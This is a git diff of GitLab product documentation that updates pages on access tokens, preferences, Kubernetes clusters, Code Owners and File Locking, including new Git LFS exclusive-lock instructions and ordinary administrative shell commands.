profile.
-1. Log in to GitLab.
+1. Sign in to GitLab.
1. In the upper-right corner, click your avatar and select **Settings**.
1. On the **User Settings** menu, select **Access Tokens**.
1. Choose a name and optional expiry date for the token.
@@ -103,7 +85,7 @@ token.save!
```
This can be shortened into a single-line shell command using the
-[GitLab Rails Runner](../../administration/troubleshooting/debug.md#using-the-rails-runner):
+[Rails runner](../../administration/troubleshooting/debug.md#using-the-rails-runner):
```shell
sudo gitlab-rails runner "token = User.find_by_username('automation-bot').personal_access_tokens.create(scopes: [:read_user, :read_repository], name: 'Automation token'); token.set_token('token-string-here123'); token.save!"
@@ -131,7 +113,7 @@ token.revoke!
```
This can be shorted into a single-line shell command using the
-[GitLab Rails Runner](../../administration/troubleshooting/debug.md#using-the-rails-runner):
+[Rails runner](../../administration/troubleshooting/debug.md#using-the-rails-runner):
```shell
sudo gitlab-rails runner "PersonalAccessToken.find_by_token('token-string-here123').revoke!"
diff --git a/doc/user/profile/preferences.md b/doc/user/profile/preferences.md
index b94ae958d3b..f84fc1ae898 100644
--- a/doc/user/profile/preferences.md
+++ b/doc/user/profile/preferences.md
@@ -114,7 +114,7 @@ You have 8 options here that you can use for your default dashboard view:
- Your projects' activity
- Starred projects' activity
- Your groups
-- Your [Todos](../todos.md)
+- Your [to-dos](../todos.md)
- Assigned Issues
- Assigned Merge Requests
- Operations Dashboard **(PREMIUM)**
@@ -182,6 +182,12 @@ Manage the availability of integrated code intelligence features powered by
Sourcegraph. View [the Sourcegraph feature documentation](../../integration/sourcegraph.md#enable-sourcegraph-in-user-preferences)
for more information.
+### Gitpod
+
+Enable and disable the [GitLab-Gitpod integration](../../integration/gitpod.md). This is only
+visible after the integration is configured by a GitLab administrator. View
+[the Gitpod feature documentation](../../integration/gitpod.md) for more information.
+
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/user/project/bulk_editing.md b/doc/user/project/bulk_editing.md
index c4a6aea807c..98584a939ea 100644
--- a/doc/user/project/bulk_editing.md
+++ b/doc/user/project/bulk_editing.md
@@ -14,6 +14,9 @@ For more details, see
If you want to update attributes across multiple issues or merge requests, you can do it
by bulk editing them, that is, editing them together.
+NOTE: **Note:**
+Only the items visible on the current page are selected for bulk editing (up to 20).
+
![Bulk editing](img/bulk-editing_v13_2.png)
## Bulk edit issues at the project level
diff --git a/doc/user/project/canary_deployments.md b/doc/user/project/canary_deployments.md
index 852baf1f628..afce3869cbf 100644
--- a/doc/user/project/canary_deployments.md
+++ b/doc/user/project/canary_deployments.md
@@ -48,9 +48,9 @@ Canary deployments require that you properly configure Deploy Boards:
template for canary deployments that GitLab provides.
Depending on the deploy, the label should be either `stable` or `canary`.
-Usually, `stable` and blank or missing label means the same thing, and `canary`
-or any other track means canary/temporary.
-This allows GitLab to discover whether deployment is stable or canary (temporary).
+GitLab assumes the track label is `stable` if the label is blank or missing.
+Any other track label is considered `canary` (temporary).
+This allows GitLab to discover whether a deployment is stable or canary (temporary).
Once all of the above are set up and the pipeline has run at least once,
navigate to the environments page under **Pipelines > Environments**.
diff --git a/doc/user/project/clusters/add_eks_clusters.md b/doc/user/project/clusters/add_eks_clusters.md
index d5713f20257..b3b1b51a543 100644
--- a/doc/user/project/clusters/add_eks_clusters.md
+++ b/doc/user/project/clusters/add_eks_clusters.md
@@ -141,7 +141,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
1. Choose your cluster's settings:
- **Kubernetes cluster name** - The name you wish to give the cluster.
- **Environment scope** - The [associated environment](index.md#setting-the-environment-scope) to this cluster.
- - **Kubernetes version** - The Kubernetes version to use. Currently the only version supported is 1.14.
+ - **Kubernetes version** - The [Kubernetes version](index.md#supported-cluster-versions) to use.
- **Service role** - Select the **EKS IAM role** you created earlier to allow Amazon EKS
and the Kubernetes control plane to manage AWS resources on your behalf.
diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md
index e4a750084c9..18d9fa67ee1 100644
--- a/doc/user/project/clusters/add_remove_clusters.md
+++ b/doc/user/project/clusters/add_remove_clusters.md
@@ -110,10 +110,10 @@ GitLab creates the following resources for ABAC clusters.
| Environment namespace | `ServiceAccount` | Uses namespace of environment | Deploying to a cluster |
| Environment namespace | `Secret` | Token for environment ServiceAccount | Deploying to a cluster |
-### Security of GitLab Runners
+### Security of runners
-GitLab Runners have the [privileged mode](https://docs.gitlab.com/runner/executors/docker.html#the-privileged-mode)
-enabled by default, which allows them to execute special commands and running
+Runners have the [privileged mode](https://docs.gitlab.com/runner/executors/docker.html#the-privileged-mode)
+enabled by default, which allows them to execute special commands and run
Docker in Docker. This functionality is needed to run some of the
[Auto DevOps](../../../topics/autodevops/index.md)
jobs. This implies the containers are running in privileged mode and you should,
@@ -124,14 +124,14 @@ turn can do almost everything that the host can do. Be aware of the
inherent security risk associated with performing `docker run` operations on
arbitrary images as they effectively have root access.
-If you don't want to use GitLab Runner in privileged mode, either:
+If you don't want to use a runner in privileged mode, either:
-- Use shared Runners on GitLab.com. They don't have this security issue.
-- Set up your own Runners using the configuration described at
- [Shared Runners](../../gitlab_com/index.md#shared-runners). This involves:
+- Use shared runners on GitLab.com. They don't have this security issue.
+- Set up your own runners using the configuration described at
+ [shared runners](../../gitlab_com/index.md#shared-runners). This involves:
1. Making sure that you don't have it installed via
[the applications](index.md#installing-applications).
- 1. Installing a Runner
+ 1. Installing a runner
[using `docker+machine`](https://docs.gitlab.com/runner/executors/docker_machine.html).
## Create new cluster
@@ -206,7 +206,7 @@ To add a Kubernetes cluster to your project, group, or instance:
apiVersion: v1
kind: ServiceAccount
metadata:
- name: gitlab-admin
+ name: gitlab
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1beta1
@@ -219,7 +219,7 @@ To add a Kubernetes cluster to your project, group, or instance:
name: cluster-admin
subjects:
- kind: ServiceAccount
- name: gitlab-admin
+ name: gitlab
namespace: kube-system
```
@@ -245,23 +245,23 @@ To add a Kubernetes cluster to your project, group, or instance:
Output:
```shell
- serviceaccount "gitlab-admin" created
+ serviceaccount "gitlab" created
clusterrolebinding "gitlab-admin" created
```
- 1. Retrieve the token for the `gitlab-admin` service account:
+ 1. Retrieve the token for the `gitlab` service account:
```shell
- kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep gitlab-admin | awk '{print $1}')
+ kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep gitlab | awk '{print $1}')
```
Copy the `<authentication_token>` value from the output:
```yaml
- Name: gitlab-admin-token-b5zv4
+ Name: gitlab-token-b5zv4
Namespace: kube-system
Labels: <none>
- Annotations: kubernetes.io/service-account.name=gitlab-admin
+ Annotations: kubernetes.io/service-account.name=gitlab
kubernetes.io/service-account.uid=bcfe66ac-39be-11e8-97e8-026dce96b6e8
Type: kubernetes.io/service-account-token
diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md
index 98078854050..8d188f00ceb 100644
--- a/doc/user/project/clusters/index.md
+++ b/doc/user/project/clusters/index.md
@@ -22,8 +22,8 @@ Using the GitLab project Kubernetes integration, you can:
- Detect and [monitor Kubernetes](#monitoring-your-kubernetes-cluster).
- Use it with [Auto DevOps](#auto-devops).
- Use [Web terminals](#web-terminals).
-- Use [Deploy Boards](#deploy-boards-premium). **(PREMIUM)**
-- Use [Canary Deployments](#canary-deployments-premium). **(PREMIUM)**
+- Use [Deploy Boards](#deploy-boards). **(PREMIUM)**
+- Use [Canary Deployments](#canary-deployments). **(PREMIUM)**
- View [Logs](#viewing-pod-logs).
- Run serverless workloads on [Kubernetes with Knative](serverless/index.md).
@@ -46,11 +46,11 @@ version. The range of supported versions is based on the evaluation of:
Currently, GitLab supports the following Kubernetes versions:
+- 1.17
- 1.16
- 1.15
- 1.14
- 1.13 (deprecated, support ends on November 22, 2020)
-- 1.12 (deprecated, support ends on September 22, 2020)
NOTE: **Note:**
Some GitLab features may support versions outside the range provided here.
diff --git a/doc/user/project/clusters/securing.md b/doc/user/project/clusters/securing.md
index 5b9f776080b..a15660051f7 100644
--- a/doc/user/project/clusters/securing.md
+++ b/doc/user/project/clusters/securing.md
@@ -36,7 +36,7 @@ At a high level, the required steps include the following:
Minimum requirements (depending on the GitLab Manage Application you want to install):
- Your cluster is connected to GitLab (ModSecurity, Cilium, and Falco).
-- At least one GitLab Runner is installed (Cilium and Falco only).
+- At least one runner is installed (Cilium and Falco only).
### Understanding how GitLab Managed Apps are installed
@@ -62,7 +62,7 @@ deployment logs. The Web Application Firewall feature uses this installation met
However, the next generation of GitLab Managed Apps V2 ([CI/CD-based GitLab Managed Apps](https://gitlab.com/groups/gitlab-org/-/epics/2103))
don't use Sidekiq to deploy. All the applications are deployed using a GitLab CI/CD pipeline and
-therefore GitLab Runners.
+therefore, by runners.
```mermaid
sequenceDiagram
@@ -91,14 +91,14 @@ the Web Application Firewall from the project or group Kubernetes page.
Note that your project doesn't have to be hosted or deployed through GitLab. You can manage a
cluster independent of the applications that use the cluster.
-## Set up a GitLab Runner
+## Set up a runner
-To install CI/CD-based GitLab Managed Apps, a pipeline using a GitLab Runner must be running in
-GitLab. You can [install a GitLab Runner](../../clusters/applications.md#gitlab-runner)
+To install CI/CD-based GitLab Managed Apps, a pipeline using a runner must be running in
+GitLab. You can [install a runner](../../clusters/applications.md#gitlab-runner)
in the Kubernetes cluster added in the previous step, or use one of the shared runners provided by
GitLab if you're using GitLab.com.
-With your cluster connected to GitLab and a GitLab Runner in place, you can proceed to the next
+With your cluster connected to GitLab and a runner in place, you can proceed to the next
steps and start installing the Cilium and Falco GitLab Managed Apps to secure your applications
hosted on this cluster.
diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md
index 6af08b06294..1157c2c5632 100644
--- a/doc/user/project/clusters/serverless/index.md
+++ b/doc/user/project/clusters/serverless/index.md
@@ -52,7 +52,7 @@ To run Knative on GitLab, you will need:
The simplest way to get started is to add a cluster using GitLab's [GKE integration](../add_remove_clusters.md).
The set of minimum recommended cluster specifications to run Knative is 3 nodes, 6 vCPUs, and 22.50 GB memory.
1. **GitLab Runner:** A runner is required to run the CI jobs that will deploy serverless
- applications or functions onto your cluster. You can install the GitLab Runner
+ applications or functions onto your cluster. You can install GitLab Runner
onto the existing Kubernetes cluster. See [Installing Applications](../index.md#installing-applications) for more information.
1. **Domain Name:** Knative will provide its own load balancer using Istio. It will provide an
external IP address or hostname for all the applications served by Knative. You will be prompted to enter a
diff --git a/doc/user/project/code_intelligence.md b/doc/user/project/code_intelligence.md
index be34053cdc7..f56673e69b7 100644
--- a/doc/user/project/code_intelligence.md
+++ b/doc/user/project/code_intelligence.md
@@ -26,10 +26,9 @@ Enable code intelligence for a project by adding a GitLab CI/CD job to the proje
```yaml
code_navigation:
- image: golang:1.14.0
+ image: sourcegraph/lsif-go:v1
allow_failure: true # recommended
script:
- - go get github.com/sourcegraph/lsif-go/cmd/lsif-go
- lsif-go
artifacts:
reports:
@@ -40,38 +39,18 @@ The generated LSIF file must be less than 170MiB.
After the job succeeds, code intelligence data can be viewed while browsing the code:
-![Code intelligence](img/code_intelligence_v13_1.png)
+![Code intelligence](img/code_intelligence_v13_4.png)
## Find references
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217392) in GitLab 13.2.
-> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/225621) on GitLab 13.3.
-> - It's enabled on GitLab.com.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235735) in GitLab 13.4.
To find where a particular object is being used, you can see links to specific lines of code
under the **References** tab:
![Find references](img/code_intelligence_find_references_v13_3.png)
-### Enable or disable find references
-
-Find references is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can opt to disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:code_navigation_references)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:code_navigation_references)
-```
-
## Language support
Generating an LSIF file requires a language server indexer implementation for the
diff --git a/doc/user/project/code_owners.md b/doc/user/project/code_owners.md
index dbe3f3dc891..730a9ada428 100644
--- a/doc/user/project/code_owners.md
+++ b/doc/user/project/code_owners.md
@@ -9,7 +9,6 @@ type: reference
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6916)
in [GitLab Starter](https://about.gitlab.com/pricing/) 11.3.
-> - [Support for group namespaces](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53182) added in GitLab Starter 12.1.
> - Code Owners for Merge Request approvals was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4418) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.9.
## Introduction
@@ -74,7 +73,7 @@ Once you've added Code Owners to a project, you can configure it to
be used for merge request approvals:
- As [merge request eligible approvers](merge_requests/merge_request_approvals.md#code-owners-as-eligible-approvers).
-- As required approvers for [protected branches](protected_branches.md#protected-branches-approval-by-code-owners-premium). **(PREMIUM)**
+- As required approvers for [protected branches](protected_branches.md#protected-branches-approval-by-code-owners). **(PREMIUM)**
NOTE: **Note:**
Developer or higher [permissions](../permissions.md) are required in order to
@@ -88,11 +87,11 @@ While the `CODEOWNERS` file can be used in addition to Merge Request [Approval R
it can also be used as the sole driver of merge request approvals
(without using [Approval Rules](merge_requests/merge_request_approvals.md#approval-rules)).
To do so, create the file in one of the three locations specified above and
-set the code owners as required approvers for [protected branches](protected_branches.md#protected-branches-approval-by-code-owners-premium).
+set the code owners as required approvers for [protected branches](protected_branches.md#protected-branches-approval-by-code-owners).
Use [the syntax of Code Owners files](code_owners.md#the-syntax-of-code-owners-files)
to specify the actual owners and granular permissions.
-Using Code Owners in conjunction with [Protected Branches](protected_branches.md#protected-branches-approval-by-code-owners-premium)
+Using Code Owners in conjunction with [Protected Branches](protected_branches.md#protected-branches-approval-by-code-owners)
will prevent any user who is not specified in the `CODEOWNERS` file from pushing
changes for the specified files/paths, even if their role is included in the
**Allowed to push** column. This allows for a more inclusive push strategy, as
@@ -108,49 +107,58 @@ in the `.gitignore` file followed by one or more of:
- A user's `@username`.
- A user's email address.
- The `@name` of one or more groups that should be owners of the file.
+- Lines starting with `#` are escaped.
-Groups must be added as [members of the project](members/index.md),
-or they will be ignored.
+The order in which the paths are defined is significant: the last pattern that
+matches a given path will be used to find the code owners.
-Starting in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/32432),
-you can additionally specify groups or subgroups from the project's upper group
-hierarchy as potential code owners, without having to invite them specifically
-to the project. Groups outside the project's hierarchy or children beneath the
-hierarchy must still be explicitly invited to the project in order to show as
-Code Owners.
+### Groups as Code Owners
-For example, consider the following hierarchy for the example project
-`example_project`:
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53182) in GitLab Starter 12.1.
+> - Group and subgroup hierarchy support was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32432) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.0.
-```plaintext
-group >> sub-group >> sub-subgroup >> example_project >> file.md
-```
+Groups and subgroups members are inherited as eligible Code Owners to a
+project, as long as the hierarchy is respected.
+
+For example, consider a given group called "Group X" (slug `group-x`) and a
+"Subgroup Y" (slug `group-x/subgroup-y`) that belongs to the Group X, and
+suppose you have a project called "Project A" within the group and a
+"Project B" within the subgroup.
-Any of the following groups would be eligible to be specified as code owners:
+The eligible Code Owners to Project B are both the members of the Group X and
+the Subgroup Y. And the eligible Code Owners to the Project A are just the
+members of the Group X, given that Project A doesn't belong to the Subgroup Y:
-- `@group`
-- `@group/sub-group`
-- `@group/sub-group/sub-subgroup`
+![Eligible Code Owners](img/code_owners_members_v13_4.png)
-In addition, any groups that have been invited to the project using the
-**Members** tool will also be recognized as eligible code owners.
+But you have the option to [invite](members/share_project_with_groups.md)
+the Subgroup Y to the Project A so that their members also become eligible
+Code Owners:
-The order in which the paths are defined is significant: the last
-pattern that matches a given path will be used to find the code
-owners.
+![Invite subgroup members to become eligible Code Owners](img/code_owners_invite_members_v13_4.png)
-Starting a line with a `#` indicates a comment. This needs to be
-escaped using `\#` to address files for which the name starts with a
-`#`.
+Once invited, any member (`@user`) of the group or subgroup can be set
+as Code Owner to files of the Project A or B, as well as the entire Group X
+(`@group-x`) or Subgroup Y (`@group-x/subgroup-y`), as exemplified below:
+
+```plaintext
+# A member of the group or subgroup as Code Owner to a file
+file.md @user
+
+# All group members as Code Owners to a file
+file.md @group-x
+
+# All subgroup members as Code Owners to a file
+file.md @group-x/subgroup-y
+
+# All group and subgroup members as Code Owners to a file
+file.md @group-x @group-x/subgroup-y
+```
### Code Owners Sections **(PREMIUM)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12137) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
-> - It's deployed behind a feature flag, enabled by default.
-> - It's enabled on GitLab.com.
-> - It can be enabled or disabled per-project.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-code-owner-sections-core-only). **(CORE ONLY)**
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12137) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2 behind a feature flag, enabled by default.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42389) in GitLab 13.4.
Code Owner rules can be grouped into named sections. This allows for better
organization of broader categories of Code Owner rules to be applied.
@@ -212,28 +220,6 @@ the rules for "Groups" and "Documentation" sections:
![MR widget - Sectional Code Owners](img/sectional_code_owners_v13.2.png)
-#### Enable or disable Code Owner Sections **(CORE ONLY)**
-
-Sections is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can opt to disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:sectional_codeowners)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:sectional_codeowners)
-```
-
-CAUTION: **Caution:**
-Disabling Sections will **not** refresh Code Owner Approval Rules on existing merge requests.
-
## Example `CODEOWNERS` file
```plaintext
diff --git a/doc/user/project/deploy_boards.md b/doc/user/project/deploy_boards.md
index 50fb24b555b..8146f39ef87 100644
--- a/doc/user/project/deploy_boards.md
+++ b/doc/user/project/deploy_boards.md
@@ -81,8 +81,8 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/
[OpenShift docs](https://docs.openshift.com/container-platform/3.7/dev_guide/deployments/kubernetes_deployments.html#kubernetes-deployments-vs-deployment-configurations)
and [GitLab issue #4584](https://gitlab.com/gitlab-org/gitlab/-/issues/4584).
-1. [Configure GitLab Runner](../../ci/runners/README.md) with the [Docker](https://docs.gitlab.com/runner/executors/docker.html) or
- [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html) executor.
+1. [Configure GitLab Runner](../../ci/runners/README.md) with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html) or
+ [`kubernetes`](https://docs.gitlab.com/runner/executors/kubernetes.html) executor.
1. Configure the [Kubernetes integration](clusters/index.md) in your project for the
cluster. The Kubernetes namespace is of particular note as you will need it
for your deployment scripts (exposed by the `KUBE_NAMESPACE` env variable).
@@ -105,6 +105,8 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/
re-deploy your application. If you are using Auto DevOps, this will
be done automatically and no action is necessary.
+ If you are using GCP to manage clusters, you can see the deployment details in GCP itself by going to **Workloads > deployment name > Details**:
+
![Deploy Boards Kubernetes Label](img/deploy_boards_kubernetes_label.png)
Once all of the above are set up and the pipeline has run at least once,
diff --git a/doc/user/project/file_lock.md b/doc/user/project/file_lock.md
index ed80e5f6a32..6fd33901621 100644
--- a/doc/user/project/file_lock.md
+++ b/doc/user/project/file_lock.md
@@ -1,108 +1,230 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
type: reference, howto
---
-# File Locking **(PREMIUM)**
+# File Locking **(CORE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/440) in [GitLab Premium](https://about.gitlab.com/pricing/) 8.9.
+Preventing wasted work caused by unresolvable merge conflicts requires
+a different way of working. This means explicitly requesting write permissions,
+and verifying no one else is editing the same file before you start.
-Working with multiple people on the same file can be a risk. Conflicts when merging a non-text file are hard to overcome and will require a lot of manual work to resolve. File Locking helps you avoid these merge conflicts and better manage your binary files.
+Although branching strategies usually work well enough for source code and
+plain text because different versions can be merged together, they do not work
+for binary files.
-With File Locking, you can lock any file or directory, make your changes, and
-then unlock it so another member of the team can edit it.
+When file locking is setup, lockable files are **read only** by default.
-## Overview
+When a file is locked, only the user who locked the file may modify it. This
+user is said to "hold the lock" or have "taken the lock", since only one user
+can lock a file at a time. When a file or directory is unlocked, the user is
+said to have "released the lock".
-Working with multiple people on the same file can be a risk. Conflicts
-when merging a non-text file are hard to overcome and will require a lot
-of manual work to resolve. With GitLab Premium, File
-Locking helps you avoid merge conflicts and better manage your binary
-files by preventing everyone, except you, from modifying a specific file
-or entire directory.
+GitLab supports two different modes of file locking:
-## Use-cases
+- [Exclusive file locks](#exclusive-file-locks) for binary files: done **through
+ the command line** with Git LFS and `.gitattributes`, it prevents locked
+ files from being modified on any branch. **(CORE)**
+- [Default branch locks](#default-branch-file-and-directory-locks): done
+ **through the GitLab UI**, it prevents locked files and directories being
+ modified on the default branch. **(PREMIUM)**
-The file locking feature is useful in situations when:
+## Permissions
-- Multiple people are working on the same file and you want to avoid merge
- conflicts.
-- Your repository contains binary files in which situation there is no easy
- way to tell the diff between yours and your colleagues' changes.
-- Prevent design assets from being overwritten.
+Locks can be created by any person who has at least
+[Developer permissions](../permissions.md) to the repository.
-Locked directories are locked recursively, which means that everything that
-lies under them is also locked.
+Only the user who locked the file or directory can edit locked files. Others
+users will be prevented from modifying locked files by pushing, merging,
+or any other means, and will be shown an error like: `The path '.gitignore' is
+locked by Administrator`.
-## Locking a file or a directory
+## Exclusive file locks
-NOTE: **Note:**
-Locking only works for the default branch you have set in the project's settings
-(usually `master`).
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/35856) in GitLab 10.5.
-To lock a file:
+This process allows you to lock single files or file extensions and it is
+done through the command line. It doesn't require GitLab paid subscriptions.
-1. Navigate to your project's **Repository > Files**.
-1. Pick the file you want to lock.
-1. Click the "Lock" button.
+Git LFS is well known for tracking files to reduce the storage of
+Git repositories, but it can also be user for [locking files](https://github.com/git-lfs/git-lfs/wiki/File-Locking).
+This is the method used for Exclusive File Locks.
- ![Locking file](img/file_lock.png)
+### Install Git LFS
+
+Before getting started, make sure you have [Git LFS installed](../../topics/git/lfs/index.md) in your computer. Open a terminal window and run:
+
+```shell
+git-lfs --version
+```
+
+If it doesn't recognize this command, you'll have to install it. There are
+several [installation methods](https://git-lfs.github.com/) that you can
+choose according to your OS. To install it with Homebrew:
+
+```shell
+brew install git-lfs
+```
+
+Once installed, **open your local repository in a terminal window** and
+install Git LFS in your repo. If you're sure that LFS is already installed,
+you can skip this step. If you're unsure, re-installing it won't do any harm:
+
+```shell
+git lfs install
+```
+
+Check this document to learn more about [using Git LFS](../../topics/git/lfs/index.md#using-git-lfs).
+
+### Configure Exclusive File Locks
-To lock an entire directory, look for the "Lock" link next to "History".
+You need [Maintainer permissions](../permissions.md) to configure
+Exclusive File Locks for your project through the command line.
-After you lock a file or directory, it will appear as locked in the repository
-view.
+The first thing to do before using File Locking is to tell Git LFS which
+kind of files are lockable. The following command will store PNG files
+in LFS and flag them as lockable:
-![Repository view](img/file_lock_repository_view.png)
+```shell
+git lfs track "*.png" --lockable
+```
-Once locked, any merge request to the default branch will fail
-to merge until the file becomes unlocked.
+After executing the above command a file named `.gitattributes` will be
+created or updated with the following content:
-## Unlocking a file or a directory
+```shell
+*.png filter=lfs diff=lfs merge=lfs -text lockable
+```
-To unlock a file or a directory, follow the same procedure as when you locked
-them. For a detailed view of every existing lock, see the next section on
-"Viewing and managing existing locks".
+You can also register a file type as lockable without using LFS (to be able, for example,
+to lock/unlock a file you need in a remote server that
+implements the LFS File Locking API). To do that you can edit the
+`.gitattributes` file manually:
-You can unlock a file that yourself or someone else previously locked as long
-as you have Maintainer or above [permissions](../permissions.md) to the project.
+```shell
+*.pdf lockable
+```
-## Viewing and managing existing locks
+The `.gitattributes` file is key to the process and **must**
+be pushed to the remote repository for the changes to take effect.
-To view or manage every existing lock, navigate to the
-**Project > Repository > Locked Files** area. There, you can view all existing
-locks and [remove the ones you have permission for](#permissions-on-file-locking).
+After a file type has been registered as lockable, Git LFS will make
+them read-only on the file system automatically. This means you will
+need to **lock the file** before [editing it](#edit-lockable-files).
-## Permissions on file locking
+### Lock files
-The user that locks a file or directory **is the only one** that can edit and
-push their changes back to the repository where the locked objects are located.
+By locking a file, you verify that no one else is editing it, and
+prevent anyone else from editing the file until you’re done. On the other
+hand, when you unlock a file, you communicate that you've finished editing
+and allow other people to edit it.
-Locks can be created by any person who has [push access](../permissions.md) to the repository; i.e.,
-Developer and higher level, and can be removed solely by their author and any
-user with Maintainer permissions and above.
+To lock or unlock a file with Exclusive File Locking, open a terminal window
+in your repository directory and run the commands as described below.
-If a file is locked and you are not the author of its locked state, a
-pre-receive hook will reject your changes when you try to push. In the
-following example, a user who has no permissions on the locked `.gitignore`
-file will see the message below:
+To **lock** a file:
```shell
-Counting objects: 3, done.
-Delta compression using up to 4 threads.
-Compressing objects: 100% (3/3), done.
-Writing objects: 100% (3/3), 320 bytes | 0 bytes/s, done.
-Total 3 (delta 1), reused 0 (delta 0)
-remote: GitLab: The path '.gitignore' is locked by Administrator
-To https://example.com/gitlab-org/gitlab-foss.git
- ! [remote rejected] master -> master (pre-receive hook declined)
- error: failed to push some refs to 'https://example.com/gitlab-org/gitlab-foss.git'
+git lfs lock path/to/file.png
```
-Similarly, when a user that is not the author of the locked state of a file
-accepts a merge request, an error message will appear stating that the file
-is locked.
+To **unlock** a file:
+
+```shell
+git lfs unlock path/to/file.png
+```
+
+You can also unlock by file ID (given by LFS when you [view locked files](#view-exclusively-locked-files)):
+
+```shell
+git lfs unlock --id=123
+```
+
+If for some reason you need to unlock a file that was not locked by
+yourself, you can use the `--force` flag as long as you have **Maintainer**
+permissions to the project:
+
+```shell
+git lfs unlock --id=123 --force
+```
+
+You can normally push files to GitLab whether they're locked or unlocked.
+
+NOTE: **Note:**
+Although multi-branch file locks can be created and managed through the Git LFS
+command line interface, file locks can be created for any file.
+
+### View exclusively-locked files
+
+To list all the files locked with LFS locally, open a terminal window in your
+repo and run:
+
+```shell
+git lfs locks
+```
+
+The output lists the locked files followed by the user who locked each of them
+and the files' IDs.
+
+On the repository file tree, GitLab will display an LFS badge for files
+tracked by Git LFS plus a padlock icon on exclusively-locked files:
+
+![LFS-Locked files](img/lfs_locked_files_v13_2.png)
+
+You can also [view and remove existing locks](#view-and-remove-existing-locks) from the GitLab UI.
+
+NOTE: **Note:**
+When you rename an exclusively-locked file, the lock is lost. You'll have to
+lock it again to keep it locked.
+
+### Edit lockable files
+
+Once the file is [configured as lockable](#configure-exclusive-file-locks), it is set to read-only.
+Therefore, you need to lock it before editing it.
+
+Suggested workflow for shared projects:
+
+1. Lock the file.
+1. Edit the file.
+1. Commit your changes.
+1. Push to the repo.
+1. Get your changes reviewed, approved, and merged.
+1. Unlock the file.
+
+## Default branch file and directory locks **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/440) in GitLab Enterprise Edition 8.9. Available in [GitLab Premium](https://about.gitlab.com/pricing/).
+
+This process allows you to lock one file at a time through the GitLab UI and
+requires access to [GitLab Premium, GitLab.com Silver](https://about.gitlab.com/pricing/), or higher tiers.
+
+Default branch file and directory locks only apply to the default branch set in
+the project's settings (usually `master`).
+
+Changes to locked files on the default branch will be blocked, including merge
+requests that modify locked files. Unlock the file to allow changes.
+
+### Lock a file or a directory
+
+To lock a file:
+
+1. Open the file or directory in GitLab.
+1. Click the **Lock** button, located near the Web IDE button.
+
+ ![Locking file](img/file_lock.png)
+
+An **Unlock** button will be displayed if the file is already locked, and
+will be disabled if you do not have permission to unlock the file.
+
+If you did not lock the file, hovering your cursor over the button will show
+who locked the file.
+
+### View and remove existing locks
+
+The **Locked Files**, accessed from **Project > Repository** left menu, lists
+all file and directory locks. Locks can be removed by their author, or any user
+with Maintainer permissions and above.
-![Merge request error message](img/file_lock_merge_request_error_message.png)
+This list shows all the files locked either through LFS or GitLab UI.
diff --git a/doc/user/project/img/code_intelligence_v13_1.png b/doc/user/project/img/code_intelligence_v13_1.png
deleted file mode 100644
index 744195caed2..00000000000
--- a/doc/user/project/img/code_intelligence_v13_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/code_intelligence_v13_4.png b/doc/user/project/img/code_intelligence_v13_4.png
new file mode 100644
index 00000000000..bbb6ce67bcc
--- /dev/null
+++ b/doc/user/project/img/code_intelligence_v13_4.png
Binary files differ
diff --git a/doc/user/project/img/code_owners_invite_members_v13_4.png b/doc/user/project/img/code_owners_invite_members_v13_4.png
new file mode 100644
index 00000000000..852a5f68b36
--- /dev/null
+++ b/doc/user/project/img/code_owners_invite_members_v13_4.png
Binary files differ
diff --git a/doc/user/project/img/code_owners_members_v13_4.png b/doc/user/project/img/code_owners_members_v13_4.png
new file mode 100644
index 00000000000..e37fe72cd6e
--- /dev/null
+++ b/doc/user/project/img/code_owners_members_v13_4.png
Binary files differ
